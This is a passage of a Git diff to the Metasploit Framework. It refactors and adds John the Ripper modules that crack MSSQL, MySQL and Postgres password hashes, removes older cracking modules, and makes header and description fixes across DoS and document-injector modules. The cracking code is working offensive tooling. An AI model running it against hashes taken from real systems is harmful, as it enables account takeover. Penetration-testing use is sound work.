#{hashlist.path}" + hashlist.path + end + + + end diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb index a1d9d8ba2c..b614f4396a 100644 --- a/modules/auxiliary/analyze/jtr_mssql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb @@ -1,10 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -28,62 +29,75 @@ class Metasploit3 < Msf::Auxiliary end def run - @wordlist = Rex::Quickfile.new("jtrtmp") + @formats = Set.new + cracker = new_john_cracker - @wordlist.write( build_seed().flatten.uniq.join("\n") + "\n" ) - @wordlist.close - print_status("Cracking MSSQL Hashes") - crack("mssql") - print_status("Cracking MSSQL05 Hashes") - crack("mssql05") + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - end - - - - - def crack(format) - - hashlist = Rex::Quickfile.new("jtrtmp") - ltype= "#{format}.hashes" - myloots = myworkspace.loots.where('ltype=?', ltype) - unless myloots.nil? or myloots.empty? - myloots.each do |myloot| - begin - mssql_array = CSV.read(myloot.path).drop(1) - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - end - mssql_array.each do |row| - hashlist.write("#{row[0]}:0x#{row[1]}:#{myloot.host.address}:#{myloot.service.port}\n") - end + @formats.each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end + cracker_instance.crack do |line| + print_status line.chomp end - hashlist.close - print_status("HashList: #{hashlist.path}") - print_status("Trying Wordlist: #{@wordlist.path}") - john_crack(hashlist.path, :wordlist => @wordlist.path, :rules => 'single', :format => format) + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp + end - print_status("Trying Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => format) + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end - print_status("Trying Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => format) - - cracked = john_show_passwords(hashlist.path, format) - - print_status("#{cracked[:cracked]} hashes were cracked!") - cracked[:users].each_pair do |k,v| - print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") - report_auth_info( - :host => v[1], - :port => v[2], - :sname => 'mssql', - :user => k, - :pass => v[0] - ) + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) end end + end + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: ['mssql', 'mssql05', 'mssql12']).each do |hash| + # Track the formats that we've seen so we do not attempt a format that isn't relevant + @formats << hash.jtr_format + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end + + end diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb index 488c6c7e36..759af296be 100644 --- a/modules/auxiliary/analyze/jtr_mysql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb @@ -1,10 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -28,81 +29,69 @@ class Metasploit3 < Msf::Auxiliary end def run - wordlist = Rex::Quickfile.new("jtrtmp") + cracker = new_john_cracker - wordlist.write( build_seed().flatten.uniq.join("\n") + "\n" ) + #generate our wordlist and close the file handle + wordlist = wordlist_file wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - hashlist = Rex::Quickfile.new("jtrtmp") - - myloots = myworkspace.loots.where('ltype=?', 'mysql.hashes') - unless myloots.nil? or myloots.empty? - myloots.each do |myloot| - begin - mssql_array = CSV.read(myloot.path).drop(1) - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - end - mssql_array.each do |row| - hashlist.write("#{row[0]}:#{row[1]}:#{myloot.host.address}:#{myloot.service.port}\n") - end + ['mysql','mysql-sha1'].each do |format| + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." end - hashlist.close - - print_status("HashList: #{hashlist.path}") - print_status("Trying 'mysql-fast' Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'mysql-fast') - - print_status("Trying 'mysql-fast' Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'mysql-fast') - - print_status("Trying mysql-fast Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'mysql-fast') - - cracked = john_show_passwords(hashlist.path, 'mysql-fast') - - print_status("#{cracked[:cracked]} hashes were cracked!") - - #Save cracked creds and add the passwords back to the wordlist for the next round - tfd = ::File.open(wordlist.path, "ab") - cracked[:users].each_pair do |k,v| - print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") - tfd.write( v[0] + "\n" ) - report_auth_info( - :host => v[1], - :port => v[2], - :sname => 'mssql', - :user => k, - :pass => v[0] - ) + cracker_instance.crack do |line| + print_status line.chomp end - print_status("Trying 'mysql-sha1' Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'mysql-sha1') - - print_status("Trying 'mysql-sha1' Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'mysql-sha1') - - print_status("Trying 'mysql-sha1' Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'mysql-sha1') - - cracked = john_show_passwords(hashlist.path, 'mysql-sha1') - - print_status("#{cracked[:cracked]} hashes were cracked!") - - cracked[:users].each_pair do |k,v| - print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") - report_auth_info( - :host => v[1], - :port => v[2], - :sname => 'mssql', - :user => k, - :pass => v[0] - ) + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp end + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) + end end + end + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'mysql,mysql-sha1').each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path end diff --git a/modules/auxiliary/analyze/jtr_oracle_fast.rb b/modules/auxiliary/analyze/jtr_oracle_fast.rb index dea55ad410..d8d3fe790d 100644 --- a/modules/auxiliary/analyze/jtr_oracle_fast.rb +++ b/modules/auxiliary/analyze/jtr_oracle_fast.rb @@ -1,10 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/analyze/jtr_postgres_fast.rb b/modules/auxiliary/analyze/jtr_postgres_fast.rb new file mode 100644 index 0000000000..18ee1edbd3 --- /dev/null +++ b/modules/auxiliary/analyze/jtr_postgres_fast.rb @@ -0,0 +1,125 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/auxiliary/jtr' + + +class Metasploit3 < Msf::Auxiliary + + #Included to grab the john.pot and use some utiltiy functions + include Msf::Auxiliary::JohnTheRipper + + def initialize + super( + 'Name' => 'John the Ripper Postgres SQL Password Cracker', + 'Description' => %Q{ + This module uses John the Ripper to attempt to crack Postgres password + hashes, gathered by the postgres_hashdump module. It is slower than some of the other + JtR modules because it has to do some wordlist manipulation to properly handle postgres' + format. + }, + 'Author' => ['theLightCosine'], + 'License' => MSF_LICENSE + ) + + end + + def run + @username_set = Set.new + + cracker = new_john_cracker + + hash_list = hash_file + + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + + + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_list + + ['raw-md5'].each do |format| + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + + # Postgres hashes always prepend the username to the password before hashing. So we strip the username back off here. + password.gsub!(/^#{username}/,'') + print_good "#{username}:#{password}:#{core_id}" + create_cracked_credential( username: username, password: password, core_id: core_id) + end + end + + end + + # Override the mixin method to add prependers + def wordlist_file + return nil unless framework.db.active + wordlist = Metasploit::Framework::JtR::Wordlist.new( + prependers: @username_set, + custom_wordlist: datastore['CUSTOM_WORDLIST'], + mutate: datastore['MUTATE'], + use_creds: datastore['USE_CREDS'], + use_db_info: datastore['USE_DB_INFO'], + use_default_wordlist: datastore['USE_DEFAULT_WORDLIST'], + use_hostnames: datastore['USE_HOSTNAMES'], + use_common_root: datastore['USE_ROOT_WORDS'], + workspace: myworkspace + ) + wordlist.to_file + end + + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'raw-md5,postgres').each do |hash| + hash.cores.each do |core| + user = core.public.username + @username_set << user + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes written out to #{hashlist.path}" + hashlist.path + end + +end diff --git a/modules/auxiliary/analyze/jtr_unshadow.rb b/modules/auxiliary/analyze/jtr_unshadow.rb deleted file mode 100644 index b46d2f9b01..0000000000 --- a/modules/auxiliary/analyze/jtr_unshadow.rb +++ /dev/null @@ -1,43 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Auxiliary::JohnTheRipper - - def initialize - super( - 'Name' => 'Unix Unshadow Utility', - 'Description' => %Q{ - This module takes a passwd and shadow file and 'unshadows' - them and saves them as linux.hashes loot. - }, - 'Author' => ['theLightCosine'], - 'License' => MSF_LICENSE - ) - - register_options( - [ - OptPath.new('PASSWD_PATH', [true, 'The path to the passwd file']), - OptPath.new('SHADOW_PATH', [true, 'The path to the shadow file']), - OptAddress.new('IP', [true, 'The IP address if the host the shadow file came from']), - ], self.class) - end - - def run - - unshadow = john_unshadow(datastore['PASSWD_PATH'],datastore['SHADOW_PATH']) - if unshadow - print_good(unshadow) - filename= "#{datastore['IP']}_Linux_Hashes.txt" - lootfile = store_loot("linux.hashes", "text/plain", datastore['IP'], unshadow, filename, "Linux Hashes") - print_status("Saved unshadowed file: #{lootfile}") - end - end - -end diff --git a/modules/auxiliary/analyze/postgres_md5_crack.rb b/modules/auxiliary/analyze/postgres_md5_crack.rb deleted file mode 100644 index 2b9c9df045..0000000000 --- a/modules/auxiliary/analyze/postgres_md5_crack.rb +++ /dev/null @@ -1,82 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' -require 'digest/md5' - -class Metasploit3 < Msf::Auxiliary - - #Included to grab the john.pot and use some utiltiy functions - include Msf::Auxiliary::JohnTheRipper - - def initialize - super( - 'Name' => 'Postgres SQL md5 Password Cracker', - 'Description' => %Q{ - This module attempts to crack Postgres SQL md5 password hashes. - It creates hashes based on information saved in the MSF Database - such as hostnames, usernames, passwords, and database schema information. - The user can also supply an additional external wordlist if they wish. - }, - 'Author' => ['theLightCosine'], - 'License' => MSF_LICENSE - ) - - - deregister_options('JOHN_BASE','JOHN_PATH') - end - - def run - - print_status("Processing wordlist...") - @seed= build_seed() - - print_status("Wordlist length: #{@seed.length}") - - myloots = myworkspace.loots.where('ltype=?', 'postgres.hashes') - unless myloots.nil? - myloots.each do |myloot| - begin - postgres_array = CSV.read(myloot.path).drop(1) - rescue - print_error("Unable to process #{myloot.path}") - end - postgres_array.each do |row| - print_status("Attempting to crack hash: #{row[0]}:#{row[1]}") - password = crack_hash(row[0],row[1]) - if password - print_good("Username: #{row[0]} Pass: #{password}") - report_auth_info( - :host => myloot.host.address, - :port => myloot.service.port, - :sname => 'postgres', - :user => row[0], - :pass => password - ) - - end - end - end - end - - end - - def crack_hash(username,hash) - - @seed.each do |word| - tmphash = Digest::MD5.hexdigest("#{word}#{username}") - if tmphash == hash - return word - end - end - - return nil - - end - - - -end diff --git a/modules/auxiliary/bnat/bnat_router.rb b/modules/auxiliary/bnat/bnat_router.rb index 08da6441f4..d1ccdf3956 100644 --- a/modules/auxiliary/bnat/bnat_router.rb +++ b/modules/auxiliary/bnat/bnat_router.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/bnat/bnat_scan.rb b/modules/auxiliary/bnat/bnat_scan.rb index fd96ab685d..8c1589a027 100644 --- a/modules/auxiliary/bnat/bnat_scan.rb +++ b/modules/auxiliary/bnat/bnat_scan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/client/smtp/emailer.rb b/modules/auxiliary/client/smtp/emailer.rb index ee089a5519..9e6831e2f3 100644 --- a/modules/auxiliary/client/smtp/emailer.rb +++ b/modules/auxiliary/client/smtp/emailer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index fbd7ec2175..7eb6ab4a4b 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,6 @@ # openssl before rubygems mac os require 'msf/core' require 'openssl' -require 'rubygems' require 'rinda/tuplespace' require 'pathname' require 'uri' @@ -33,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary register_options([ OptString.new('PATH', [true, "Starting crawling path", '/']), - OptInt.new('RPORT', [true, "Remote port", 80 ]), + OptInt.new('RPORT', [true, "Remote port", 80 ]) ], self.class) register_advanced_options([ @@ -47,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary OptInt.new('TakeTimeout', [ true, "Timeout for loop ending", 15]), OptInt.new('ReadTimeout', [ true, "Read timeout (-1 forever)", 3]), OptInt.new('ThreadNum', [ true, "Threads number", 20]), - OptString.new('DontCrawl', [true, "Filestypes not to crawl", '.exe,.zip,.tar,.bz2,.run,.asc,.gz']), + OptString.new('DontCrawl', [true, "Filestypes not to crawl", '.exe,.zip,.tar,.bz2,.run,.asc,.gz']) ], self.class) end @@ -258,11 +257,6 @@ class Metasploit3 < Msf::Auxiliary # In case modules or crawler calls to_s on de-chunked responses # resp.transfer_chunked = false - if resp['Set-Cookie'] - #puts "Set Cookie: #{resp['Set-Cookie']}" - #puts "Storing in cookie jar for host:port #{reqopts['rhost']}:#{reqopts['rport']}" - #$cookiejar["#{reqopts['rhost']}:#{reqopts['rport']}"] = resp['Set-Cookie'] - end if datastore['StoreDB'] storedb(reqopts,resp,$dbpathmsf) diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index c7b5dd6cde..805c91c5b0 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -1,11 +1,22 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Gems +# + +# for extracting files +require 'zip' + +# +# Project +# + require 'msf/core' -require 'zip/zip' #for extracting files -require 'rex/zip' #for creating files +# for creating files +require 'rex/zip' class Metasploit3 < Msf::Auxiliary @@ -144,17 +155,17 @@ class Metasploit3 < Msf::Auxiliary #unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way def unzip_docx - #Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::ZipFile + #Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File vprint_status("Extracting #{datastore['SOURCE']} into memory.") #we read it all into memory zip_data = Hash.new begin - Zip::ZipFile.open(datastore['SOURCE']) do |filezip| + Zip::File.open(datastore['SOURCE']) do |filezip| filezip.each do |entry| zip_data[entry.name] = filezip.read(entry) end end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.") return nil end diff --git a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb index 9cfaf4901d..f054e8072f 100644 --- a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb +++ b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb index 361979c8cf..f9b0933648 100644 --- a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb +++ b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb index c782701aed..b15b5a3a2e 100644 --- a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb +++ b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/hp/data_protector_rds.rb b/modules/auxiliary/dos/hp/data_protector_rds.rb index d5bd75f748..11029de675 100644 --- a/modules/auxiliary/dos/hp/data_protector_rds.rb +++ b/modules/auxiliary/dos/hp/data_protector_rds.rb @@ -1,12 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary - Rank = ManualRanking include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/3com_superstack_switch.rb b/modules/auxiliary/dos/http/3com_superstack_switch.rb index 08a535d93a..99218cc07b 100644 --- a/modules/auxiliary/dos/http/3com_superstack_switch.rb +++ b/modules/auxiliary/dos/http/3com_superstack_switch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb index e0fd2f09e2..b7c7a8c4b5 100644 --- a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb +++ b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/apache_mod_isapi.rb b/modules/auxiliary/dos/http/apache_mod_isapi.rb index 5a5d5645b8..da932d94c9 100644 --- a/modules/auxiliary/dos/http/apache_mod_isapi.rb +++ b/modules/auxiliary/dos/http/apache_mod_isapi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,25 +12,28 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache mod_isapi <= 2.2.14 Dangling Pointer', + 'Name' => 'Apache mod_isapi Dangling Pointer', 'Description' => %q{ - This module triggers a use-after-free vulnerability in the Apache Software - Foundation mod_isapi extension. In order to reach the vulnerable code, the - target server must have an ISAPI module installed and configured. + This module triggers a use-after-free vulnerability in the Apache + Software Foundation mod_isapi extension for versions 2.2.14 and earlier. + In order to reach the vulnerable code, the target server must have an + ISAPI module installed and configured. - By making a request that terminates abnormally (either an aborted TCP connection or - an unsatisfied chunked request), mod_isapi will unload the ISAPI extension. Later, - if another request comes for that ISAPI module, previously obtained pointers will - be used resulting in an access violation or potentially arbitrary code execution. + By making a request that terminates abnormally (either an aborted TCP + connection or an unsatisfied chunked request), mod_isapi will unload the + ISAPI extension. Later, if another request comes for that ISAPI module, + previously obtained pointers will be used resulting in an access + violation or potentially arbitrary code execution. - Although arbitrary code execution is theoretically possible, a real-world method of - invoking this consequence has not been proven. In order to do so, one would need to - find a situation where a particular ISAPI module loads at an image base address - that can be re-allocated by a remote attacker. + Although arbitrary code execution is theoretically possible, a + real-world method of invoking this consequence has not been proven. In + order to do so, one would need to find a situation where a particular + ISAPI module loads at an image base address that can be re-allocated by + a remote attacker. - Limited success was encountered using two separate ISAPI modules. In this scenario, - a second ISAPI module was loaded into the same memory area as the previously - unloaded module. + Limited success was encountered using two separate ISAPI modules. In + this scenario, a second ISAPI module was loaded into the same memory + area as the previously unloaded module. }, 'Author' => [ diff --git a/modules/auxiliary/dos/http/apache_range_dos.rb b/modules/auxiliary/dos/http/apache_range_dos.rb index 8727066b48..49d8ebc1fc 100644 --- a/modules/auxiliary/dos/http/apache_range_dos.rb +++ b/modules/auxiliary/dos/http/apache_range_dos.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb index 1816d668ac..ac865d52a2 100644 --- a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb +++ b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,8 +22,8 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Steve Jones', #original discoverer - 'Hoagie <andi [at] void {dot} at>', #original public exploit - 'Paulino Calderon <calderon [at] websec {dot} mx>', #metasploit module + 'Hoagie <andi[at]void.at>', #original public exploit + 'Paulino Calderon <calderon[at]websec.mx>', #metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/dos/http/canon_wireless_printer.rb b/modules/auxiliary/dos/http/canon_wireless_printer.rb index f7bd5c5b45..f13ad89ffe 100644 --- a/modules/auxiliary/dos/http/canon_wireless_printer.rb +++ b/modules/auxiliary/dos/http/canon_wireless_printer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/dell_openmanage_post.rb b/modules/auxiliary/dos/http/dell_openmanage_post.rb index 5e148cba52..6f13cb2ca0 100644 --- a/modules/auxiliary/dos/http/dell_openmanage_post.rb +++ b/modules/auxiliary/dos/http/dell_openmanage_post.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/gzip_bomb_dos.rb b/modules/auxiliary/dos/http/gzip_bomb_dos.rb index 7e1e7b0903..a96f05e1b4 100644 --- a/modules/auxiliary/dos/http/gzip_bomb_dos.rb +++ b/modules/auxiliary/dos/http/gzip_bomb_dos.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/hashcollision_dos.rb b/modules/auxiliary/dos/http/hashcollision_dos.rb index 25d7cbd09a..59d7e7370a 100644 --- a/modules/auxiliary/dos/http/hashcollision_dos.rb +++ b/modules/auxiliary/dos/http/hashcollision_dos.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary 'Scott A. Crosby', # original advisory 'Dan S. Wallach', # original advisory 'Krzysztof Kotowicz', # payload generator - 'Christian Mehlmauer <FireFart[at]gmail.com>' # metasploit module + 'Christian Mehlmauer' # metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/dos/http/monkey_headers.rb b/modules/auxiliary/dos/http/monkey_headers.rb index a50dbff7eb..48e2761fcc 100644 --- a/modules/auxiliary/dos/http/monkey_headers.rb +++ b/modules/auxiliary/dos/http/monkey_headers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb index 44b6f5c0c1..9f3181a0aa 100644 --- a/modules/auxiliary/dos/http/nodejs_pipelining.rb +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb index 304f55b276..efb942abe9 100644 --- a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb +++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/rails_action_view.rb b/modules/auxiliary/dos/http/rails_action_view.rb index 857e61fee4..92c685a1aa 100644 --- a/modules/auxiliary/dos/http/rails_action_view.rb +++ 